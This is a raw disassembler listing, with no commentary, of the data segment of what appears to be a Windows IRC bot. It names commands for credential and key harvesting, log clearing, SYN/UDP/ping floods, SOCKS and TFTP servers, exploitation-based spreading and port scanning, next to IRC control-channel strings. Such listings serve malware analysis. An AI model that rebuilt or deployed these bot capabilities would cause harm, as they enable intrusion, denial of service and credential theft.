aBox_ocmd_off	db 'box.ocmd.off',0     ; DATA XREF: seg000:0040E453o
		align 4
aBox_ocmd	db 'box.ocmd',0         ; DATA XREF: seg000:0040E43Eo
		align 4
aBox_opencmd	db 'box.opencmd',0      ; DATA XREF: seg000:0040E429o
aBox_dll	db 'box.dll',0          ; DATA XREF: seg000:0040E414o
aBox_testdlls	db 'box.testdlls',0     ; DATA XREF: seg000:0040E3FFo
		align 4
aBox_drv	db 'box.drv',0          ; DATA XREF: seg000:0040E3EAo
aBox_driveinfo	db 'box.driveinfo',0    ; DATA XREF: seg000:0040E3D5o
		align 4
aBox_up		db 'box.up',0           ; DATA XREF: seg000:0040E3C0o
		align 4
aBox_uptime	db 'box.uptime',0       ; DATA XREF: seg000:0040E3ABo
		align 4
aBox_key	db 'box.key',0          ; DATA XREF: seg000:0040E396o
aBox_harvest	db 'box.harvest',0      ; DATA XREF: seg000:0040E381o
aBox_ps		db 'box.ps',0           ; DATA XREF: seg000:0040E36Co
		align 4
aBox_procs	db 'box.procs',0        ; DATA XREF: seg000:0040E357o
		align 10h
aEnz_010	db 'enz.010',0          ; DATA XREF: seg000:0040E342o
aEnz_be010ne	db 'enz.be010ne',0      ; DATA XREF: seg000:0040E32Do
aBox_si		db 'box.si',0           ; DATA XREF: seg000:0040E318o
		align 4
aBox_sysinfo	db 'box.sysinfo',0      ; DATA XREF: seg000:0040E303o
aBox_ni		db 'box.ni',0           ; DATA XREF: seg000:0040E2EEo
		align 10h
aBox_netinfo	db 'box.netinfo',0      ; DATA XREF: seg000:0040E2D9o
aUtil_clg	db 'util.clg',0         ; DATA XREF: seg000:0040E2C4o
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: seg000:0040E2AFo
		align 4
aEnz_lg		db 'enz.lg',0           ; DATA XREF: seg000:0040E29Ao
		align 10h
aEnz_log	db 'enz.log',0          ; DATA XREF: seg000:0040E285o
aEnz_al		db 'enz.al',0           ; DATA XREF: seg000:0040E270o
		align 10h
aEnz_aliases	db 'enz.aliases',0      ; DATA XREF: seg000:0040E25Bo
aThreads_l	db 'threads.l',0        ; DATA XREF: seg000:0040E246o
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: seg000:0040E231o
		align 4
dword_435DE8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E1FDo
		dd 2029206Ch, 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 10h
dword_435E20	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E1F6o
		dd 2029206Ch, 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aBox_rebewt	db 'box.rebewt',0       ; DATA XREF: seg000:0040E1DFo
		align 4
aEnz_i		db 'enz.i',0            ; DATA XREF: seg000:0040E1CAo
		align 4
aEnz_id		db 'enz.id',0           ; DATA XREF: seg000:0040E1B5o
		align 4
aEnz_s		db 'enz.s',0            ; DATA XREF: seg000:0040E1A0o
		align 4
aEnz_status	db 'enz.status',0       ; DATA XREF: seg000:0040E18Bo
		align 10h
aEnz_t3rm1	db 'enz.t3rm1',0        ; DATA XREF: seg000:0040E176o
		align 4
aEnz_t3rm1nate	db 'enz.t3rm1nate',0    ; DATA XREF: seg000:0040E161o
		align 4
aEnz_et3	db 'enz.et3',0          ; DATA XREF: seg000:0040E14Co
aEnz_endt3rm	db 'enz.endt3rm',0      ; DATA XREF: seg000:0040E137o
aEnz_rh4	db 'enz.rh4',0          ; DATA XREF: seg000:0040E122o
aEnz_reh4sh	db 'enz.reh4sh',0       ; DATA XREF: seg000:0040E10Do
		align 4
aVuln_st	db 'vuln.st',0          ; DATA XREF: seg000:0040E0F8o
aVuln_stats	db 'vuln.stats',0       ; DATA XREF: seg000:0040E0E3o
		align 4
aExploitation	db 'Exploitation',0     ; DATA XREF: seg000:0040E0D8o
		align 4
aScan		db 'Scan',0             ; DATA XREF: seg000:0040E0D3o
		align 10h
aVuln_stop	db 'vuln.stop',0        ; DATA XREF: seg000:0040E0BAo
		align 4
dword_435EFC	dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure_0	db 'Secure',0           ; DATA XREF: seg000:0040E0AAo
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: seg000:0040E091o
		align 4
dword_435F24	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone		db 'Clone',0            ; DATA XREF: seg000:0040E081o
		align 4
aClone_off	db 'clone.off',0        ; DATA XREF: seg000:0040E068o
		align 4
aBox_ps_off	db 'box.ps.off',0       ; DATA XREF: seg000:0040E053o
		align 4
aBox_procs_off	db 'box.procs.off',0    ; DATA XREF: seg000:0040E03Eo
		align 4
aBox_ff_off	db 'box.ff.off',0       ; DATA XREF: seg000:0040E029o
		align 10h
aBox_findfile_o	db 'box.findfile.off',0 ; DATA XREF: seg000:0040E014o
		align 4
dword_435F84	dd 66027402h, 641F7074h, 2E2E1FhaServer_tftp_of	db 'server.tftp.off',0  ; DATA XREF: seg000:0040DFEBo
dword_435FA0	dd 69027002h, 1F671F6Eh, 2E2Ehdword_435FAC	dd 676E6950h, 6F6C6620h, 646Fhdword_435FB8	dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_435FC8	dd 64027502h, 2E1F701Fh, 2Ehdword_435FD4	dd 20504455h, 6F6F6C66h, 64hdword_435FE0	dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_435FF0	dd 79027302h, 2E1F6E1Fh, 2Ehdword_435FFC	dd 206E7953h, 6F6F6C66h, 64hdword_436008	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_436018	dd 64026402h, 1F731F6Fh, 2E2Ehdword_436024	dd 536F4444h, 6F6C6620h, 646Fhdword_436030	dd 736F6464h, 66666F2Eh, 0dword_43603C	dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_43604C	dd 20504354h, 69646572h, 74636572h, 0aServer_redirec	db 'server.redirect.off',0 ; DATA XREF: seg000:0040DF1Eo
dword_436070	dd 6F026C02h, 2E1F671Fh, 2Ehdword_43607C	dd 20676F4Ch, 7473696Ch, 0dword_436088	dd 2E676F6Ch, 66666Fhdword_436090	dd 74026802h, 641F7074h, 2E2E1Fhdword_43609C	dd 76726573h, 772E7265h, 6F2E6265h, 6666hdword_4360AC	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2EhaServer_rlogin_	db 'server.rlogin.off',0 ; DATA XREF: seg000:0040DEA9o
		align 10h
dword_4360D0	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0aServer		db 'Server',0           ; DATA XREF: seg000:0040DE82o
					; seg000:0040DEC2o ...
		align 4
aServer_socks_0	db 'server.socks4.off',0 ; DATA XREF: seg000:0040DE69o
		align 4
aServer_s4_on	db 'server.s4.on',0     ; DATA XREF: seg000:0040DE54o
		align 4
aServer_socks4_	db 'server.socks4.on',0 ; DATA XREF: seg000:0040DE3Fo
		align 10h
aLd_off		db 'ld.off',0           ; DATA XREF: seg000:0040DE2Ao
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: seg000:0040DE15o
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: seg000:0040DE00o
		align 10h
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: seg000:0040DDEBo
aEnz_ver	db 'enz.ver',0          ; DATA XREF: seg000:0040DDD6o
aEnz_version	db 'enz.version',0      ; DATA XREF: seg000:0040DDC1o
aEnz_lo		db 'enz.lo',0           ; DATA XREF: seg000:0040DDACo
		align 4
aEnz_logout	db 'enz.logout',0       ; DATA XREF: seg000:0040DD97o
		align 4
aEnz_d		db 'enz.d',0            ; DATA XREF: seg000:0040DD82o
		align 4
aEnz_endsess	db 'enz.endsess',0      ; DATA XREF: seg000:0040DD6Do
aEnz_rn		db 'enz.rn',0           ; DATA XREF: seg000:0040DD58o
		align 10h
aEnz_rndnick	db 'enz.rndnick',0      ; DATA XREF: seg000:0040DD40o
a63		db '63',0               ; DATA XREF: seg000:0040DC19o
		align 10h
asc_4361A0:				; DATA XREF: seg000:0040DBF1o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: seg000:0040DBB4o
		align 4
aServer_2	db '$server',0          ; DATA XREF: seg000:0040DBA9o
aRndnick	db '$rndnick',0         ; DATA XREF: seg000:0040DB98o
		align 10h
aChan		db '$chan',0            ; DATA XREF: seg000:0040DB7Co
		align 4
aUser_2		db '$user',0            ; DATA XREF: seg000:0040DB6Bo
		align 10h
aMe_0		db '$me',0              ; DATA XREF: seg000:0040DB59o
aD_0		db '$%d',0              ; DATA XREF: seg000:0040DAEBo
aD_1		db '$%d-',0             ; DATA XREF: seg000:0040DA30o
		align 10h
aHi_0		db 'hi',0               ; DATA XREF: seg000:0040D958o
		align 4
aNewshit0	db 'newshit0',0         ; DATA XREF: seg000:0040D940o
		align 10h
dword_4361F0	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040D90Eo
		dd 2029206Ch, 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
dword_436234	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040D900o
		dd 2029206Ch, 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 4
dword_436278	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040D8F2o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_24	db '  Failed to start chat thread, error: <%d>.',0
dword_4362C0	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040D883o
		dd 2029206Ch, 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: seg000:0040D7ECo
		align 4
dword_4362FC	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040D7CFo
		dd 2029206Ch, 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_436350	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040D7B1o
					; seg000:0041156Ao
		dd 2029206Ch, 2BBBB02h
aFailedToSta_25	db '  Failed to start transfer thread, error: <%d>.',0
dword_43639C	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: seg000:0040D7A0o
		dd 0A0Dh
dword_4363B4	dd 4E495001h, 47haSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: seg000:0040D726o
		align 4
dword_4363D8	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: seg000:0040D70Co
		dd 0D017325h, 0Ah
dword_4363F4	dd 52455601h, 4E4F4953h, 1dword_436400	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040D5C1o
		dd 2029206Ch, 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: seg000:0040D51Eo
		align 4
dword_436448	dd 43434401h, 0	dword_436450	dd 323333h						; seg000:0040D97Ao ...
aNotice		db 'NOTICE',0           ; DATA XREF: seg000:0040D465o
					; sub_412D32+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: seg000:0040D459o
					; sub_412D32+16o
dword_436464	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040D408o
		dd 2029206Ch, 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_436498	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040D3E1o
		dd 2029206Ch, 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: seg000:0040D3AAo
aPart		db 'PART',0             ; DATA XREF: seg000:0040D35Co
					; seg000:0040D425o
		align 4
aSS_0		db ':%s%s',0            ; DATA XREF: seg000:0040D334o
		align 10h
aNick		db 'NICK',0             ; DATA XREF: seg000:0040D206o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0040D1A7o
					; seg000:0040D449o
dword_4364F8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040D18Eo
					; seg000:00412898o ...
		dd 2029206Ch, 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: seg000:0040D11Do
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: seg000:0040D0C6o
					; seg000:00411922o ...
		align 10h
a433		db '433',0              ; DATA XREF: seg000:0040D09Eo
a302		db '302',0              ; DATA XREF: seg000:0040D063o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040D01Do
					; seg000:0040D1EDo ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: seg000:0040CFFCo
		align 4
aPing		db 'PING',0             ; DATA XREF: seg000:0040CFE2o
		align 4
asc_43656C	db ' :',0               ; DATA XREF: seg000:0040CEBFo
					; seg000:loc_40D9D2o
		align 10h
dword_436570	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4365BC	dd 3000005h, 10h, 18h, 1, 3 dup(0); ---------------------------------------------------------------------------


loc_4365D8:				; DATA XREF: sub_412B7E+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_4365EC	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_412B7E+13Fo
dword_436600	dd 25207325h, 253A2073h, 0A0D73h, 0off_436610	dd offset aAdd		; DATA XREF: sub_412DCD+6Dr
					; sub_4131B1+50r ...
					; "Add"
off_436614	dd offset aAdded	; DATA XREF: sub_412DCD+2Dr
					; sub_4131B1+82r ...
					; "Added"
dword_436618	dd 0				dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 436684h, 43667Ch,	2, 436670h, 436664h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: seg002:00436644o
aStop_0		db 'Stop',0             ; DATA XREF: seg002:00436640o
		align 4
aStarted	db 'Started',0          ; DATA XREF: seg002:00436638o
aStart_0	db 'Start',0            ; DATA XREF: seg002:00436634o
		align 4
aListed		db 'Listed',0           ; DATA XREF: seg002:0043662Co
		align 4
aList_0		db 'List',0             ; DATA XREF: seg002:00436628o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: seg002:00436620o
aDelete_0	db 'Delete',0           ; DATA XREF: seg002:0043661Co
		align 4
aAdded		db 'Added',0            ; DATA XREF: seg002:off_436614o
		align 4
aAdd		db 'Add',0              ; DATA XREF: seg002:off_436610o
dword_4366D8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412DCD+74o
		dd 2029206Ch, 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_436710	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412DCD+55o
		dd 2029206Ch, 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_43674C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412DCD+38o
		dd 2029206Ch, 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_412EF6+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_412EF6:loc_41300Eo
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_412EF6:loc_413007o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_412EF6:loc_413000o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_412EF6:loc_412FF9o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_412EF6:loc_412FF2o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_412EF6:loc_412FEBo
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_412EF6:loc_412FE4o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_412EF6:loc_412FDDo
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_412EF6:loc_412FD6o
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_412EF6:loc_412FCFo
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_412EF6:loc_412FA4o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_412EF6:loc_412F9Do
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_412EF6:loc_412F96o
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_412EF6:loc_412F8Fo
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_412EF6+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_412EF6:loc_412F64o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_412EF6:loc_412F5Ao
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_412EF6:loc_412F50o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_412EF6:loc_412F46o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_412EF6:loc_412F3Co
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_412EF6+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_413074+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_413074:loc_413140o
aStarting	db '   Starting',0      ; DATA XREF: sub_413074:loc_413139o
aStoping	db '    Stoping',0      ; DATA XREF: sub_413074:loc_413132o
aRunning_0	db '    Running',0      ; DATA XREF: sub_413074:loc_41312Bo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_413074:loc_413124o
aPausing	db '    Pausing',0      ; DATA XREF: sub_413074:loc_41311Do
aPaused_0	db '     Paused',0      ; DATA XREF: sub_413074:loc_413116o
aUnknown_1	db '    Unknown',0      ; DATA XREF: sub_413074+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_413074+25o
		align 4
dword_436CB4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4131B1+ABo
		dd 2029206Ch, 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_436CEC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4131B1+89o
		dd 2029206Ch, 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_436D1C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4131B1+57o
		dd 2029206Ch, 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4133A6+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4133A6+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_4133A6+B5o
dword_436D7C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4133A6+76o
		dd 2029206Ch, 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_4133A6+26o
		align 10h
dword_436DF0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4134C7+B6o
		dd 2029206Ch, 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
dword_436E2C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4134C7+94o
		dd 2029206Ch, 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_436E6C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4134C7+6Do
		dd 2029206Ch, 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 10h
dword_436EA0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_41360D+394o
		dd 2029206Ch, 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_41360D+36Ao
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_41360D+33Fo
		align 10h
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_41360D+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_41360D+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_41360D+2C4o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_41360D+299o
		align 10h
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_41360D+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_41360D+246o
		align 10h
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_41360D+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_41360D+1F3o
		align 10h
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_41360D+1CBo
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_41360D+1A0o
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_41360D+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_41360D+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_41360D+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_41360D:loc_413726o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_41360D:loc_41371Fo
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_41360D+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_41360D+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_41360D+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_41360D+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4139DB+14Fo
		align 10h
dword_437060	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4139DB+F7o
		dd 2029206Ch, 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 10h
aS_5		db '  %S',0             ; DATA XREF: sub_4139DB+BEo
		align 4
dword_4370A8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4139DB+7Ao
		dd 2029206Ch, 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4139DB+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_413B5B:loc_413C78o
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_413B5B:loc_413C71o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_413B5B:loc_413C6Ao
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_413B5B:loc_413C63o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_413B5B:loc_413C5Co
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_413B5B:loc_413C3Fo
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_413B5B:loc_413C38o
		align 10h
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_413B5B:loc_413C31o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_413B5B+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_413B5B:loc_413C06o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_413B5B:loc_413BFFo
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_413B5B:loc_413BF8o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_413B5B:loc_413BEEo
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_413B5B+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_413B5B:loc_413BC8o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_413B5B:loc_413BBEo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_413B5B:loc_413BB4o
		align 10h
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_413B5B:loc_413BAAo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_413B5B:loc_413BA0o
		align 10h
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_413B5B+3Bo
		align 4
dword_4373C4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413C8F+ABo
		dd 2029206Ch, 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_437400	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413C8F+81o
		dd 2029206Ch, 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_413DB8+120o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_413DB8+5Ao
					; sub_413DB8+19Eo
		align 4
dword_43745C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413F69:loc_413FF0o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListFai	db '  Process list failed.',0
		align 4
dword_437494	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413F69+80o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListCom	db '  Process list completed.',0
		align 10h
dword_4374D0	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413F69+19o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h
		dd 72702067h, 7365636Fh, 3A736573h, 0
aConst		db 'const',0
		align 10h
		dd 0
dword_437514	dd 1		off_437518	dd offset sub_4140AE	; DATA XREF: sub_414419+49r
aLetter		db 'letter',0
		align 8
		dd 2, 41410Ch, 706D6F63h, 2 dup(0)
		dd 3, 414159h, 6E756F63h, 797274h, 0
		dd 4, 4141F7h, 736Fh, 2	dup(0)
		dd 5, 41426Ch
dword_43756C	dd 69257325h, 0						; seg000:004141D8o ...
dword_437574	dd 4350h	dword_437578	dd 7C7325h						; sub_414419+39o
dword_43757C	dd 5D73255Bh, 7Chdword_437584	dd 334B32h	dword_437588	dd 5D64255Bh, 7325hdword_437590	dd 5D4D5Bh						; sub_414376+57o
unk_437594	db    2			; DATA XREF: sub_414482+92o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
